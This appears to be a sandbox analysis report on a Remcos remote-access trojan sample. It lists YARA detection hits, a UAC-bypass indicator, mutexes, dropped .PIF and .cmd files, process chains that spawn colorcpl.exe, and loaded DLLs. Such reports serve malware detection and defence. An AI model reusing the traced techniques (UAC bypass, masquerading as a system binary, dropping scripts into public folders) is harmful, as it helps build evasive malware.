Source: 13.2.colorcpl.exe.2c00000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 13.2.colorcpl.exe.2c00000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 0.2.SEPTobn3BR.exe.2b80000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0.2.SEPTobn3BR.exe.2b80000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 0000000D.00000002.1606949388.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0000000D.00000002.1606949388.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0000000D.00000002.1606949388.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 00000000.00000002.1449264347.000000007E8E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0000000A.00000002.1526920917.0000000002990000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0000000A.00000002.1526920917.0000000002990000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0000000A.00000002.1526920917.0000000002990000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: Process Memory Space: SEPTobn3BR.exe PID: 7648, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: colorcpl.exe PID: 7920, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: colorcpl.exe PID: 3232, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: colorcpl.exe PID: 6756, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23

Source: Emxwenem.PIF.0.dr	Binary string: \Device\Floppy0U
Source: Emxwenem.PIF.0.dr	Binary string: \Device\Floppy0

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@21/8@2/3

Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 5_2_030A5C90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,		5_2_030A5C90
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 10_2_029A5C90 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,		10_2_029A5C90

Source: C:\Users\user\Desktop\SEPTobn3BR.exe

Code function: 0_2_02B87F5A GetDiskFreeSpaceA,

0_2_02B87F5A

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 5_2_0309E2E7 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,Process32NextW,CloseHandle,

5_2_0309E2E7

Source: C:\Users\user\Desktop\SEPTobn3BR.exe

Code function: 0_2_02B96D50 CoCreateInstance,

0_2_02B96D50

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 5_2_030A9493 FindResourceA,LoadResource,LockResource,SizeofResource,

5_2_030A9493

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 5_2_030A8A00 OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

5_2_030A8A00

Source: C:\Users\user\Desktop\SEPTobn3BR.exe

File created: C:\Users\Public\EmxwenemF.cmd

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7876:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4036:120:WilError_03
Source: C:\Windows\SysWOW64\colorcpl.exe	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-3W4HX7
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8188:120:WilError_03

Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\SEPTobn3BR.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SEPTobn3BR.exe	Virustotal: Detection: 66%
Source: SEPTobn3BR.exe	ReversingLabs: Detection: 55%

Source: C:\Users\user\Desktop\SEPTobn3BR.exe

File read: C:\Users\user\Desktop\SEPTobn3BR.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SEPTobn3BR.exe "C:\Users\user\Desktop\SEPTobn3BR.exe"
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Process created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe
Source: unknown	Process created: C:\Users\Public\Libraries\Emxwenem.PIF "C:\Users\Public\Libraries\Emxwenem.PIF"
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Process created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe
Source: unknown	Process created: C:\Users\Public\Libraries\Emxwenem.PIF "C:\Users\Public\Libraries\Emxwenem.PIF"
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Process created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Process created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Process created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Process created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe	Jump to behavior

Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: olepro32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: url.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: ??????????.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: ????.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: ???e???????????.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: ???e???????????.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: tquery.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: spp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: spp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: advapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: spp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: sppwmi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: sppcext.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: winscard.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SEPTobn3BR.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: colorui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: mscms.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: coloradapterclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: version.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: olepro32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: url.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\Public\Libraries\Emxwenem.PIF	Section loaded: ieproxy.dll	Jump to behavior
